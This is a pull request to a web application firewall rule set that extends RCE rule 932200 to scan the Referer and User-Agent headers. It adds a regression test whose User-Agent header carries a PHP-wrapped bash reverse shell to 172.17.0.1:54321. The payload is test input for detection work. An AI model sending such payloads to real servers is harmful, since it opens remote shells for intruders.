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fix: add headers to pl2 rule 932200 #3108

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merged 1 commit into from
Jan 23, 2023
Merged

fix: add headers to pl2 rule 932200 #3108

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2 changes: 1 addition & 1 deletion rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf
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Original file line number Diff line number Diff line change
Expand Up @@ -835,7 +835,7 @@ SecRule REQUEST_HEADERS:User-Agent|REQUEST_HEADERS:Referer "@rx (?:\$(?:\((?:\(.
#
# Regex notes: https://regex101.com/r/V6wrCO/1
#
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx (?:[*?`\x5c'][^/\n]+/|\$[({\[#@!?*\-_$a-zA-Z0-9]|/[^/]+?[*?`\x5c'])" \
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_HEADERS:Referer|REQUEST_HEADERS:User-Agent|ARGS_NAMES|ARGS|XML:/* "@rx (?:[*?`\x5c'][^/\n]+/|\$[({\[#@!?*\-_$a-zA-Z0-9]|/[^/]+?[*?`\x5c'])" \
"id:932200,\
phase:2,\
block,\
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18 changes: 17 additions & 1 deletion tests/regression/tests/REQUEST-932-APPLICATION-ATTACK-RCE/932200.yaml
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@@ -1,6 +1,6 @@
---
meta:
author: theMiddle
author: "theMiddle, Franziska Bühler"
description: RCE Bypass
enabled: true
name: 932200.yaml
Expand Down Expand Up @@ -264,3 +264,19 @@ tests:
version: HTTP/1.0
output:
log_contains: id "932200"
- test_title: 932200-17
desc: "RCE in request headers referer and user-agent"
stages:
- stage:
input:
dest_addr: 127.0.0.1
headers:
Accept: "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
Host: localhost
User-Agent: <?php `/bin/bash -c \'sh -i>&/dev/tcp/172.17.0.1/54321 0>&1\'`; ?>
method: GET
port: 80
uri: /
version: HTTP/1.0
output:
log_contains: id "932200"